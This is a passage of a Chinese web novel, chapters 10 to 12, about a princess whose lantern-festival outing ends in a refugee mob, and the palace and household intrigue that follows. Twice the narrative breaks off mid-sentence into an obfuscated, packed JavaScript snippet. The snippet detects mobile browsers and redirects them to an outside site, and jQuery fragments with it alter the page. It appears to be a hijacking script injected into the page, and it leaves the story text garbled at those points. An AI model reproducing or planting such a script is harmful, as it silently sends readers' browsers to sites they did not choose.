魏梓璧略长庄惟月一岁,世家出身,品貌端庄,难得和魏侯夫人一样天生好性,眉眼间没有丝毫矜色,“我刚才还以为自己眼花瞧错了人,难得遇见月娘。” 庄惟月看她没有随行同伴,只带了两个丫鬟,好奇地问:“阿姊今日为何独自在此?” 魏梓璧看了眼魏珉,不急不缓地解释:“本是户部尚书府中的王大娘子约我出来赏花灯,结果她临出门前跌了一跤,伤得很重,大夫看过说是得卧床修养几日,不许她今日出门。我到了西市才收到她家人的传信,正想随意逛逛便回府,这么巧看见松青,便想着兄长是不是在此。” “可不是巧了。”庄惟月挽住魏梓璧的手臂,笑着对魏珉说,“有阿姊陪我,阿兄尽可以放心去办你自己的事了。” 魏梓璧也顺着她的话,对着魏珉说:“是啊,我会照顾好月娘的,请兄长放心。” 魏珉看也没看妹妹一眼,只是叮嘱松青,“护好公主,否则提头来见。” 松青领下命令,默默站在庄惟月身后。魏梓璧却是轻轻咬了咬唇,眼底滑过一丝难堪,她飞快调整好表情,目送魏珉催马而去。 夜风扬起袍服,显出男人精瘦的腰来。 站在原地的两个年轻女娘动作十分一致,双姝并立,目送魏珉骑马离去。 魏梓璧的目光渐渐落在庄惟月身上,浓密的眼睫敛起,似一柄凛冽弯刀,将眸中阴翳尽数藏住。 10. 第 10 章 河道两侧游人如织,那些逢年过节才出来的摊位上摆着好多稀奇玩意,庄惟月看了就走不动道。 濯玉已将剩下的金叶花完,正浑身摸索着,松青在后头默默递过来一个钱袋子。 她犹豫了下,接过来,尝试着把手上险些拎不下的东西给他。 松青面无表情地看濯玉一眼,濯玉思量着自己是不是过于得寸进尺,手刚往后缩,他身侧突然蹿出来个高大人影,把东西拿走,人看起来像是和松青一伙的。 果然这郎君什么样,侍卫们多半就是什么样。濯玉欲言又止,今天晚上攒了一肚子的话,等着回去和从夏说。 “四娘子可是喜欢这个磨喝乐?倒是有几分可爱。” 魏梓璧顺着庄惟月流连的目光往小摊上看了看,摆出来的都是些泥俑竹扎草编之流,模样粗糙但胜在造型有新意,她一边说着一边被上面挂着的草编小鸟吸引走目光。 庄惟月:“这个我也会,阿姊若是喜欢,改天我编来送你。” 魏梓璧惊讶:“四娘子竟还会这些?” “我可算是你兄长的大弟子。”庄惟月突然反应过来,“阿姊家中一定有很多吧,你想要什么花样的,阿兄都能做给你玩。” 魏梓璧目光一闪,买走她看中的凤凰展翅。 在庄惟月疑惑的目光中,她笑着说:“看老人家年迈体弱,出来一趟不容易,照拂她生意。” 庄惟月恍然:“阿姊果然心善。” 老婆婆的货摊上也摆着许多河灯,因为位置离河岸不远不近,没有别处的生意好,人少清净,庄惟月干脆在她这里定下,连带着濯玉等人手一盏。 魏梓璧见庄惟月对着小纸条,似心中犹豫迟迟落不下笔,笑着问:“四娘子想许什么心愿?” 无灾无难到如今,庄惟月心中执念不多,剩下的不足为外人道也。 她提笔写——愿阿娘身体康健,愿国泰民安。 庄惟月叠好纸条,放入河灯中。 濯玉写好,乐滋滋地拿到庄惟月面前展示,她的愿望就简单朴实多了,早日升任女官,在公主府拥有属于自己的小院子。 庄惟月让濯玉自己先去放河灯,偏过头去看魏梓璧,上头仍是一片空白,“阿姊为何迟疑?” 魏梓璧脸颊染上薄红,“我不像四娘子有大宏愿,唯望婚事顺遂。” 庄惟月明白了,未出阁的女娘将婚事拿出来许愿,若是叫别人看见,似有恨嫁之嫌。 女娘的娇羞姿态是无论如何也掩饰不住的,她温柔的眼神仿佛都化作一汪春水。庄惟月十分笃定,瞧魏梓璧这幅珍之重之的模样,她早有心仪之人。 “以阿姊的为人品貌和家世,帝京无人能出其右,我若生做是个男儿郎,早就拜倒在阿姊裙下,所以阿姊定然能顺心如意,得偿所愿。” 魏梓璧抿唇一笑,眼波流转,“如此便借妹妹吉言。” 小灯顺着河水漂浮,晃晃悠悠的水面上有不知道从何处落下的白色花瓣,它们簇拥着河灯,如同簇拥着一盏盏承载着无数美好心愿的小船,在航行中飘然直下护城河。 直到再也看不见河灯,魏梓璧在侍女的搀扶下慢慢起身,回忆起往年情景,“以前随祖父征战,虽不在帝京,但每年的彩灯节阿娘会带着我们一起去集市上放河灯。兄长不喜欢参与这种活动,大多数时候躲在书房不现身,偶尔那么几次被我们缠动,跟着出来,总是远远看着。” 庄惟月蹲在河畔边,像朵安静的白色蘑菇,她听完眨眨眼睛,“那没办法,他不喜欢我也要给他放。” 变戏法一样,她从身后又拿出小小河灯。 是魏梓璧没来前,她和魏珉挑好的,可惜他有事要先离开,现在只能她来放。 庄惟月对着亮起的河灯双手合十,心中许愿,如天下安定,愿阿兄如日月长明,若遇战事,愿阿兄能平安归来。 魏梓璧的目光未从庄惟月虔诚的面容上离开,唇角始终勾着抹淡淡的笑。 “四娘子请看,像不像你要找的那只狸奴。”松青拿着幅画像过来,询问画中狸奴像不像,可还要再做修改。 濯玉仔细观察着,觉得已经有八九分的像,还没说话,魏梓璧身后的丫鬟脱口而出,“娘子,这不是我们刚才看见的那只小猫吗?” 魏梓璧:“清音,还不知道什么情况,别多嘴。” 庄惟月眼睛一亮,连环发问:“我正是要找画中这只狸奴,你果真有看到?在哪看到的?” 清音支支吾吾,边回忆边说:“刚才来的路上看见几个小童抱着只白色小猫往周康坊去,有只爪子似乎是受了伤,没仔细看,也有可能是奴记错了。” 描述完全对上。 庄惟月很是兴奋,迫不及待地让清音引路去看看。 魏梓璧与庄惟月相交多年,知道她的性子,柔声来劝:“周康坊环境复杂,本是三教九流聚集之所,且狸奴刚才在那,现在或许已经不在。这事交给松青去办,让他们去找找就是了。” 庄惟月看了看她们现在所处的位置,离周康坊不远,“下次阿娘允我出宫不知道是什么时候,就去看一眼,阿姊可以留下继续赏花灯。” 魏梓璧不放心,思考两瞬,“我还是陪妹妹去吧。” 松青听她们三言两语下了决定,眉头紧锁,“郎君说让女娘们在这里等他。” 庄惟月理直气壮道:“他是不是把你留给我了,那你是不是就要听我的话。” 她说完就要走,因为庄惟月的身份贵重,松青拦她不住,脸色几度变换,低声吩咐手下快去给魏珉报信。 两炷香后,庄惟月看见了她此生无法用语言形容的最惨壮。 周康坊的一条巷子,低矮的竹棚里藏了几十号人,男人与女人的叫骂声,与此地散发出来的酸臭味混杂难解。倚靠在墙壁上的一张张脸面黄肌瘦,墙缝的野菜都被扒开做成了吃食,离巷口最近的小女童躺在阿娘腿上,提着捡来的破烂花灯玩。 庄惟月正好撞见女童望着对面墙上斜过来的一枝花,用稚嫩的童声问她阿娘,“阿娘,咱们家里也有这样的花,我好想回家,你给我做花饼吃。” 她没听见女人的回答,因为动静太大,巷子里的所有人注意到了她们的到来。 一双双眼睛齐刷刷转过来,男女老少渐渐站起了身,那目光叫庄惟月不寒而栗,仿佛她不是人,而是尊正在接受评估的宝物。 濯玉是见过这样场面的,立刻冲到庄惟月面前,松青青松地乱叫一通。 他们在窃窃私语,“玉佩……珠宝……” 很像野兽狩猎前发动的气息,他们正在商量着如何切分猎物。 濯玉故技重施,将松青给的钱袋子抛了出去,碎银子和铜板骨碌碌地滚落一地,立时引来争抢。 于是现场变得更加混乱起来。 小女童是最先冲过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715899|173705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱住庄惟月的人,她腰上的如意纹玉佩悄然落到小小的手心里,庄惟月低头看她。 她像鱼一样溜走,躲到人身后,双手紧紧搂着阿娘的腰,隔着人群和庄惟月对视。 无数双手围上来,濯玉吓得尖叫,一边退,一边拼命护住庄惟月。 松青等人冲过来,两盏金鱼灯与糕点被人群踩得稀烂。 …… 魏珉带着官兵急匆匆赶回来,制止了这场纷乱,周康坊的人被尽数押走。 濯玉哭得全身抽动不止,“娘子怎么样?” 庄惟月的衣袍上沾着泥浆和手印,身上的配饰全部丢了,小脸被吓得煞白,眼睑下有淡淡潮痕,“我没事,那些人会被送到哪里?” 当然没有人回答她,松青噗通跪下请罪。 庄惟月看了看跪下去的一串人:“别怪松青他们,是我执意要去的。” 魏珉一言不发,先冷静将人带回茶楼附近。马车上备着换洗的衣物,庄惟月换下袍服。 途中冷静下来,她扒着车门,期期艾艾地看向魏珉。 魏珉脸色铁青,把人拎到茶楼的包厢里。 魏梓璧想替人求情,被魏珉的眼神拦下。 “庄惟月。”魏珉喊她的名字,克制地问她,“过来的马车上,你答应了我什么?” 庄惟月认错飞快:“阿兄,我错了。” 魏珉冷言冷语:“公主的保证好比纸糊的墙,实在不敢让我相信。” 庄惟月耷拉着脑袋,抓着手边棋罐里的棋子,松开又抓起,如同她此刻的心情。 亲眼见过,才知魏珉并非危言耸听,帝京之乱已经到无法想象的地步,群臣们缄口不言,请安的平安折上得殷勤,本该护佑黎民百姓的皇帝高卧蓬莱宫,自以为能掌控天下。 君为上臣为下。君仁则臣直,君之视臣为土芥,则臣视君为寇雠。 若非父皇继位后心思未曾放在政事上,醉心享乐,何至于不到十年朝堂已然大变。 庄惟月越想心中越是有股抑制不住的阴郁之气,她神色怏怏地拿出一枚黑子,摆在天元上,“天子脚下,皇城帝都,谁能想到会有此情此景。” 魏珉抓起白子,放下,“这局如果你赢,今天的事既往不咎,如果你输了,任我处置。” 庄惟月震惊地嘴巴都张大了,看看棋盘中央的黑子,又看看魏珉。 狡诈! 这局庄惟月当然输了,而且是惨败,自她与魏珉交手,从未输过如此多个子。 魏珉:“认赌服输。庄惟月,伸手。” 庄惟月不情不愿地摊开手掌。 魏珉拿起折扇,快准狠地在她掌心狠狠抽了一下。 痛得庄惟月差点流泪,揉着掌心缓解痛意,“阿兄你下手也太狠了!” 魏珉:“知道痛还算有救,下次就不是打掌心这么简单,让你试试被生吞活剥的滋味。” 庄惟月才不怕他的吓唬:“那些人呢?” “你说那些流民?”魏珉不甚在意地说,“自然是被赶出城外了。” 庄惟月若有所思地点点头。 魏珉垂眸将她的神态纳入眼底,庄惟月简直将哄过一次是一次的态度摆在了脸上,正是因为知道他和贵妃娘娘不忍苛责她,她才越是不将自己的安危放在心上。 若非时机不对,该将她狠狠教训一番,可她显然是吃足了教训,他一时心软,轻饶过她。 11. 第 11 章 庄惟月溜之大吉,下楼后立刻换了脸色。她倒是没觉得气氛有什么不对,贴近魏梓璧,偷偷在她耳边说:“梓壁阿姊,世子哥哥在家中也是这样管教你的吗,你和魏侯夫人性情相仿,待人温和有礼,他的脾气却是阴晴难定。” 魏梓璧瞥了一眼明明听见此话、只微抿着唇望过来的兄长,端庄地笑,“彩灯节上人多,兄长也是担心我们出事。今日是我的侍女莽撞在前,看走了眼,看到狸奴便觉得和公主提到的很像,贸然行动,才导致公主受惊。” 庄惟月十分大度地摆摆手:“阿姊不必放在心上,等到姑母的春日宴,还要请阿姊替我出主意呢。” 魏珉等了等,女娘之间的聊天无穷无尽的模样,终于出声将人唤过来,“玩够了?我送你回宫。” 松青过来,挡住魏梓璧的视线,“大娘子,我送您回府。” 魏梓璧回头,瞥见那边魏珉和庄惟月正说话,她低头进了马车。 魏珉从怀中掏出一个小木牌,送给庄惟月,“看到就买了下来,民间传闻伯奇可止噩梦,你可以挂在床头或者置于枕下。” “这小鸟怪可爱的,谢过阿兄好意。”庄惟月翻来覆去地看了看,当即翘着尾巴回报,“我今天也替阿兄放了河灯,祝阿兄长乐安康。” “多谢公主。” 魏珉回来以后明显兴致不高,庄惟月故意绕着他转了一圈,背着手问:“你的事情办好了吗?” 男人的眉峰似陡峭悬崖,连绵入鬓,显得眸色愈深,过了片刻才点头:“嗯。” 庄惟月:“那世子哥哥改日再见。” 魏珉点点头。 不管发生什么事情,哪怕是千难万险,荆棘载途,他都会处理好,他们的婚事会顺利举行。 将庄惟月安全送回宫中,魏珉策马离开。 厚重的宫门缓缓关闭,寂静宫道上,马车驶向永安宫。 等了好几个时辰的从夏此刻刚爬上来,望着情绪莫名低沉下来的庄惟月,小心翼翼地询问:“贵主玩的不开心吗?” 她又问濯玉,“今日发生了什么事情?” 濯玉早被庄惟月交代过要将今日遇到的事烂在心里不许外传,她故作茫然,回以一双无知的大眼睛。 从夏:“你呀,下次随贵主出门,紧紧皮。” 庄惟月回过神来,唇角略弯了弯:“没事。” 只是想起来小女孩的那一双眼睛,亮亮的,泛着水光,里面仿佛含着千万种期盼,沉甸甸地压在她心上,叫她心生不忍。 马车突然颠簸两下,庄惟月没注意,捏在指间的小木牌不慎滑落进火盆中。 从夏连忙伸手去捡,被炭火灼到,嘶地一声缩回手指。 火苗倏地腾起,木牌燃烧起来。 庄惟月拦了拦:“小心手,烧了便烧了吧,不是什么重要的东西。” …… 侯府门前,魏珉侧身下马,他目光掠过头顶永平帝亲笔提下的牌匾,表情凝重到下人不敢上前。他缓了两息,恢复到平常的状态,将马鞭丢给马夫,快步走进府门。 松青等在门口,一路小跑着跟在他身后,低声对魏珉说:“世子,大娘子在前面等您。” 魏珉嗯了一声,绕过回廊,没回自己的院子,先往书房的方向走。 夜深人静,书房门口的墙壁上映着女郎娴静纤细的身影,她身侧的侍婢提着一盏花灯,主仆二人正望着此处。 松青瞟过几眼面容模糊的女娘,她们赶来得倒快。可惜,世子现下的心情可不算好,大娘子多半要触霉头。 “兄长。” 魏珉径直略过她时,魏梓璧脑中划过果然如此的念头,但她还是选择出声叫住他,将掌中的东西展示给他看,“妹妹今日与公主相谈甚欢,她送了我这个。” 望着无动于衷的兄长,魏梓璧执着地伸着手,语气的可怜意味满到要漫出来。 “相伴多年,我竟不知兄长还会这些哄小孩的玩意。今年妹妹生辰,不需要那些珠玉宝石,可否请兄长也亲手为我编一个。” 魏珉侧身,从她手上拿走了草编的小东西。 蜻蜓点水的一瞬间,快得仿佛是她的错觉。 魏梓璧终于听见魏珉叫她。 “魏梓璧。” 魏珉背着身,双手负于身后,捏着那只困于他掌心的小鸟。 魏梓璧的心怦怦直跳,魏珉极少喊她大名,素来只喊她大娘子。她唇角带着隐约的笑意,目光期待,语声轻软:“兄长有什么话要对我说?” 男人的声音很低很轻,但是她还是清清楚楚地听见。 “今日你不该出现。” 魏梓璧瞬间急了,三步并作两步,特意绕到魏珉前面,盯着他的脸为自己辩解:“王大娘子早半个月便给我递了花灯节出去玩的帖子,她也真真切切出了意外不能来,遇见公主和兄长实乃意外。若兄长不信我,可自遣松青去王家府邸询问。” 她仿佛受了天大的冤枉,“妹妹绝不敢欺瞒兄长。” 魏珉提起唇,似乎是轻笑了一声,与魏梓璧对视,“你打小就聪明,志向远大,应该知道什么能碰,什么不能碰。” “不要再试图触碰我的底线。” 他的眼睛里全然没有笑意,冷冰冰地望过来,居高临下地将她打量一番,立刻让她回忆起上次令他露出这样表情是什么时候。 魏梓璧愣了愣,咬着唇,不再说话。 归愚书斋的门缓缓关上,魏珉的身影隐入黑暗之中,他手臂扬起,将什么东西投入灯柱中,一缕烟气腾起,被烛火燃烧殆尽。 魏梓璧转过身,焦急的神色陡然如潮水褪去,不见方才的可怜神色。 “果然瞒不住他。” 丫鬟接着她的话说:“女娘请放心,奴已将那些人打发得远远的,他们不会再回帝京,即便世子去查也是查不到的。” 魏梓璧噙着笑,叹一声,似乎真为人担忧:“听说嘉宁公主胆子甚小,但愿她今晚能得个好梦。” 若是庄惟月能将此帝京南地流民的事捅到陛下面前,那便更好了,若是不能,这等软弱无能的公主,不值得她再多花心思。 丫鬟附和两句,走在魏梓璧前面。提着灯照路。 魏梓璧早已习惯魏珉的冷漠,脑子里的念头浮浮沉沉,这日从他口中多得了几句话,仿佛能摸准了什么东西。 “许久未见李夫人,她最近在干什么。” “前些日子往大相国寺去了一趟,其余时间一直在院子里抄经礼佛,不见外客。”丫鬟知情识趣,往西北方向张望一翻,“李夫人觉少,院中似有光亮,此时应当还没歇下……” 魏梓璧捏了捏掌心,下定决心:“该去看一看她了,她是兄长的乳母,在他那里有几分面子。你等会去挑两匹素净的锦缎来,李夫人喜欢蓝色,可别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715900|173705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿错了。” 丫鬟点点头,想找个来过来帮忙,四处看了看,疑惑道:“说来奇怪,今晚府中怎么如此安静,冬儿她们不知去哪玩了,也不见个人影。” 她们拐了个弯,丫鬟瞥见堂前灯火煌煌的,正好奇大晚上的要干什么,扫到下面跪着的人,喉中突然溢出尖叫。 她惊惶惶地回头喊,“娘子,那边出事了!” 魏梓璧蹙着眉看过去:“府中能出什么事……” 剩下半截话因魏梓璧的眼前场景堵在口中——奴仆杂役们连带着跪了一地,被魏珉的亲卫们团团围住,跪在最前面的,就是侯府的家生子,从小跟在魏梓璧身边伺候的周冬儿。 “松青,你要干什么。” 面对气势汹汹的魏梓璧,松青态度恭敬,说出来的话更像是火上浇油,“世子说这些下人实在没有规矩,教坏了大娘子,每人二十仗,小惩大诫。” 魏梓璧喝道:“你敢!” 周冬儿看到女娘来,就像看到了救命稻草,想爬起来求饶,反被后面的人按住,口中塞了软布条,呜呜着挣扎。 松青:“世子命令,不敢不从。” 他往旁边瞥了一眼,立刻有人过来将魏梓璧身后的丫鬟拉走,花灯脱手落在地上,烛火倾倒,很快烧了起来。 丫鬟万万没想到还有她的事,慌张喊:“娘子救我,娘子救我。” 这就是要当着府中众人打她的脸。魏梓璧怒极反笑,转身去书房,想问问魏珉为何要这么对她,“我要去找兄长。” 她宁愿也如庄惟月一般,被魏珉叫去书房亲自惩戒,也好过现在这样。 他打的哪里是下人,分明是在敲打她! 他们做兄妹已经十来年,朝夕相处,就算是阿猫阿狗也应该处出了感情,可他怎么能怎么对她? 松青往后一退,客客气气地拦住她,“世子已经歇下,大娘子现在去是见不到郎君的。” 魏梓璧分明看见书房里有人影走动,她柳眉竖起,怒斥道:“你不过区区一个侍卫,谁给你的胆子,竟敢拦我,竟敢朝我院子里的人伸手。” 松青淡然地挥挥手,示意底下的人:“人齐了,打吧。” 亲卫们听他号令,说打就打,一时求饶声不断,大多含糊喊了两声就被捂住,只闻得亲卫们冷酷的计数声。 魏梓璧气得浑身发抖,面沉如水地打量着松青。 松青不是阿爹阿娘给兄长准备的人,是他们举家搬回帝京途中遇上的。魏珉在官驿救下被虐待到遍体鳞伤的小杂役,自那以后,小杂役一路跟着魏家进京,对魏珉死心塌地,只听他的话。 “我命令你停下,明日我会和兄长说清楚。” 松青不卑不亢地回她:“已查到是这些人在背后乱嚼舌根,才叫大娘子临时起了心思。世子此番雷霆手段约束府中下人,是为了日后不出乱子。” 果然还是因为庄惟月的事情,他就那么维护她! 魏梓璧闭了闭眼,不忍再看丫鬟们的惨状,提腿欲走。 松青:“请大娘子看完。” 魏梓璧咬着牙问:“欺人太甚,这难道也是兄长的意思吗?” 松青不语。 等结结实实二十仗打完,下人们都如鹌鹑般缩着等着后话,松青将人的各色表情纳入眼底,方才对清音等人说:“罚已罚过,都该记住教训了,你们快来扶大娘子回去歇息。” 12. 第 12 章 彩灯节后的第二日,一大清早,庄惟月就赶到长春宫了。 主人喜静,整座长春宫也因此寂寂无声,打扫宫人们的脚下像踩着云在移动,悄悄的。 贵妃腿上披着毛毯,倚靠在美人榻上,侧着脸赏外头摆着的牡丹花,天色欲雨,愈发显得赏花人浓墨彩笔样的好颜色,如一幅娴静的仕女图。 这份安静很快被某人轻快的脚步声打破,贵妃见到女儿不请自来,将人上下打量几圈,含笑注视着她:“真是稀奇,今天的太阳莫非是打西边出来的。” “母妃多笑笑才好。”庄惟月在贵妃旁边坐下,托着腮看她,“都说青出于蓝而胜于蓝,怎么我就只占到母妃的五分姿容。” 贵妃伸出微凉的手指,点点她的眉心:“剩下五分,大概要落到你父皇身上。” 庄惟月转念就明白过来,笑着听母妃调侃父皇,又看上书案上摆着的经帖,“虽然执笔人似乎心情不佳,但这帖子临的好,尤其是这一列心经,天然质朴,看着有几分大家之风呢。” 贵妃知道庄惟月是在哄她,幼时身份低微贫贱,家中未曾有银钱给她入得学堂,进宫前大字不识一个。 入宫后皇帝爱重,曾亲自捏着她的手,教她写自己的名字——杜芳如,也曾沉醉地蹭着她修长的脖颈,赞她名字起得好,人如其名,身上自有一股幽兰般的清芳。两人那时情浓,有过一段红袖添香的闺房趣事,御书房她也是说去就能去的。 后来在宫中待久了,大半时间闲着没事干,她不大爱抄经礼佛,也不像那些自小养在闺阁的女子有许多的本事和爱好,平常靠读读书临临帖打发时间。只是在书法上,始终不得入门,写来的总似六岁小儿的字迹。 庄惟月六七岁时,母女两人时常对坐着,一人一书案各自用功,小惟月十分热衷于和母妃一起学习,不仅和她临帖,还会将太学所授转述贵妃,现在想来,仍是一段美妙时光。 “你今天这小嘴甜得像抹了蜜,是不是有事要求本宫?” 宫女们过来布置早膳,见贵妃终于展露笑颜,紧绷的心情也跟了松了松。从昨晚等到今天,就等着庄惟月来哄人呢。 庄惟月起身,跟在贵妃身后落座,“才没有,今日是特意来陪您的,昨日晚上我就该来。” 贵妃叹了口气:“你呀一心只想往外跑,以后出宫建府,怕是要把长春宫的人都忘在脑后了。” 她本来是故意在庄惟月面前说这些话的,念头一起,骤然染上几缕说不清的情绪。 膝下就这么一个亲女儿,再舍不得,总要离宫嫁人,成为别人的妻子与阿娘。杜芳如温柔如水的目光落在庄惟月脸上,明明前不久还只会张着手臂喊母妃抱抱的小孩,一眨眼就这么大了。 庄惟月哪能不清楚贵妃的心思,当即卖乖,“母妃要是愿意,我天天来陪母妃,正好母妃这里的厨子早膳做的比我宫里的好。” “就会哄我,你要是喜欢,或者还有什么瞧得上的,本宫让人都送到你的公主府上。”贵妃嘴角噙着淡淡的笑,似乎不经意间问,“你和魏珉出去见了些什么玩了些什么,同我说说,本宫想听听看。” 庄惟月弄错了重点,突发奇想,“下次母妃和我一道悄悄出宫?” “异想天开。”贵妃的语气忽而低沉下来,其中蕴含的愁绪就像清晨雾气,太阳出来便消失得无影无形,“许些年不曾出宫,想来外面已物是人非,既没什么值得花心思的东西,何必大费周章地出去看。” 就连她自己也没有意识到,这话不像缘由,倒像是在说服自己。 皇帝近两年一直待在宫中,凡需他出行的事务均指代朝臣或太子去办,后宫众人便也再难得找出各种理由出宫。 庄惟月这会儿很可惜在西市买的东西都没能带回来给母妃看看,她从前也是个爱看新鲜玩意的人呢,遂捡了些好听的话同她说。 “母妃在东西两市布施多年,百姓蒙受您的恩惠,我这次出宫听说民间时常有人称颂贵妃的恩德,纷纷把您比作观音娘娘呢。” 贵妃敛了笑意,唇线抿成一条直线,垂眸道:“那些不过是提升名声的小恩小惠,不值得一提,得势时,他们会纷纷攀附过来,当你失势,最先把你踩到泥里的也是这些人。以后若是有人以本宫的名义求到你的府门前,不要搭理他们。” 在这种事情上,贵妃的态度一向明确。 庄惟月知道母妃身世凄苦,外祖父身体不好,不到三十病故,她和外祖母相伴着长大,年少时欠了一屁股债,没人肯伸手出来帮扶她们,母女两人为了还债只能当街赁售猪肉,这是个受尽白眼的苦差事,等她进宫以后,那些曾经消失的亲戚们又不知从哪冒了出来,不仅借着她的名义收受好处,还与皇族中人争夺土地,被人状告到京兆府才知道。 那段时间,母妃在帝京的名声突然变得很坏。 后来外祖母骤然去世,又逢庄惟月出生,母妃忙于照顾她和打理后宫,哪里还顾得上什么远房表舅父、三姑奶奶之类亲戚的闲事,便和那些人断了联系。 从那以后,母妃吃够教训,宁愿多散些钱财,在街坊邻居里买一个善名,也不愿意和亲戚们有所牵连。 …… 百合粥十分清甜可口,早膳用罢,庄惟月才发现上来伺候的侍女都是长春宫的人,不见从夏等人的身影。 她在殿中四处望了望,询问贵妃,“母妃?” 贵妃用清水洗干净双手,看了她一眼,“在找你身边的丫头们?” 庄惟月霎时明白过来,“是母妃将她们叫走的?” 贵妃抚着额头,慢悠悠地说:“从前本宫总觉得你年纪还小,有什么事可以再教你,但现在不一样,以后没有你任性的时间。今天回去后,在永安宫中禁足三日,再老老实实跟着先生们念书,最近就不要出宫了。” 庄惟月昨夜回来时,长春宫并无任何动静,她早想着母妃会今天发作,急急赶来败火,可她没想到会落到两个侍女身上,“母妃,禁足我认了,濯玉和从夏只是听从我的命令,不该罚。” 贵妃哼了两声,“你先别担心她们俩,芳杏一早就出了宫,你猜她干什么去了?” 既然是和昨夜的事情有关,又要芳杏这个众所周知、代表贵妃的长春宫掌事去,那只能是—— 庄惟月瞪大了眼睛,惊呼一声,“芳杏姑姑去了魏侯府,去寻世子哥哥?” 贵妃声如冷泉,寒气逼人:“本宫将你托付给魏珉,他既然承诺会照顾好你,就该把你当成他自己的眼珠子,寸步不敢离。他答应了本宫,却半途丢下你,害你差点被流民所欺,难道不该罚?” 贵妃霸道起来,即便是魏侯世子也要挨两巴掌。 庄惟月的呼吸急促起来,“母妃是不信任魏珉,还是想罚我?” 贵妃拿了温热的软布巾来,叫庄惟月挽起衣袖,露出指背和手臂上的两条划痕。 白玉似的手腕上,几道细长的伤口横亘其中,看着甚是触目惊心。 “躲什么躲,你刚进门本宫就看见了。” 是昨夜混乱之时意外擦伤的,尤其是手臂上的长条,已经结了暗红色的痂,看着唬人,其实并不痛。 贵妃叫人拿了玉露膏来,即使是小小的伤痕也要精心处理,边上药边说:“魏珉从来没有越过你处罚你身边的人,是因为他知道,以后她们会跟着你去公主府,今日他处置了,以后在府中你身为主人,该如何自处?本宫今天让芳杏去,也是同样的缘由,本宫不罚他,以后被看轻的人就是你了。” 庄惟月心下思索,母妃的话,倒像是和魏珉说的殊途同归。 她乖顺地说:“女儿知道了。” 贵妃的脸色也十分凝重,从前她觉得魏家是个顶顶好的选择,才支持庄惟月接近魏珉。 现在,她的想法变了许多。 后宫女人的境遇多与前朝局势息息相关,她多少懂些前朝局势。 魏家现在的风头太盛,自古以来兵权在握的人家,或受帝王猜忌,或自己拉起大旗造反,不是登顶九州便是九族诛灭,能有几个落个好下场的。 要不是庄惟月和魏珉早订了亲,皇帝现下又需要魏侯替他平定叛乱,皇帝才不会顾忌什么兄妹娶嫁父女的名声,让魏梓璧进宫为妃。 明眼人都看得出来魏梓璧的尴尬处境,没高门贵族敢向侯府提亲,有那么几个妄想富贵险中求的,也被魏侯以兄长尚未成亲,妹妹不好出门的借口给挡了回去。 千钧担皆系于庄惟月一身。 她还是那副天不怕地不怕的模样,怎么不叫杜芳如担心。 “今日本宫叫走从夏和濯玉,是让你知道,既然连身边的两个丫头都如此在意,浑身何处不是软肋?身为公主,想庇护身边人不能只依靠嘴巴。光凭你身上这个公主的空壳子,是无法承受帝京风雨的。” 和亲来的太急,眼下的情势又太急切,不然让她缓一缓,以后徐徐图之。 如果是普通人家,庄惟月嫁过去后悔能想办法和离,可以魏珉的性子,他会放手吗?她早见识过那少年眼底浓重的执拗,也不知他如今已经放下,还是学会了掩饰,听说昨夜侯府中也是一通疾风骤雨的发作。 魏珉对亲妹子尚且如此狠心,绝不是他表露出来的那般霁月光风。他现在对庄惟月是好,以后呢,人心易变,尤其是这些轻易掌握权势的男人,不消三年五载,只需个把时日,够他们撕下面皮,心思在别的女人身上转个八百个来回。 贵妃自认心有七窍,有时候还不及那个年轻人,是故意装给她看的,还是真心在为月亮出头。 她出生底层,仍保持着风雨来临前最敏锐的嗅觉。 从去年开始,整个大梁乱得不似寻常,四境兵力尽出,竟到了要用公主来和亲的地步。若是武帝知道,怕是能气活过来暴打今上。 开了春,帝京城的局势也开始乱了。 洪水一来,那些身份卑弱的,必然首当其冲,世家大族未必会被动摇多少根基。 庄惟月见贵妃双眼微阖,似在沉思中,心下稍安,又轻又软地说:“我知晓母妃的顾虑,自小耳濡目染,有些本领能护住自己,母妃不要再把我当小孩,可以信任我。” 杜芳如孤身进宫,起初谨小慎微,唯恐得罪那些家中颇有权势的姐姐妹妹们。而如今的长春宫,即使母女两人说几句皇帝的坏话,没人敢传到蓬莱宫中。宫内宫外,她经营多年,不知多少人甘当贵妃耳目。 一步一步走到如今的地位,杜芳如花了十多年。 庄惟月想,她其实也继承了阿娘的这种本领呢,不过现在在长春宫的庇护下,没办法施展一二。 贵妃轻轻捏着庄惟月的下巴,正是足够了解自己的女儿才担心,四目相对,她淡淡地道:“本宫生的人,当然不是蠢蛋,本宫是怕你自作聪明。” 魏珉是可不是那么好拿捏的人。 芳杏姑姑进来,正好听见她们母女二人打哑谜,等在身侧。 庄惟月可怜巴巴地看向贵妃,见贵妃不理,又转向芳杏姑姑。 “贵主的眼神实在看得叫奴心疼。”芳杏上前来接过娘娘手中膏药,话是对着庄惟月说的,“娘娘心肠软,只让两个小丫头去看了看那些不守规矩的人是如何受罚的,长个教训,人是一点油皮也没碰伤,贵主请放心。” 从夏和濯玉从她身后慢慢走过来,果然除了脸色苍白,其他什么受罚过的痕迹都没有,连发丝都没乱上一缕。 “正好月亮今天在,芳杏你干脆带着这两个丫头再去钦天监走一遭,成亲的吉日该算出来了。” 贵妃说完便坐回书案前,继续临没写完的帖子。 于是脑 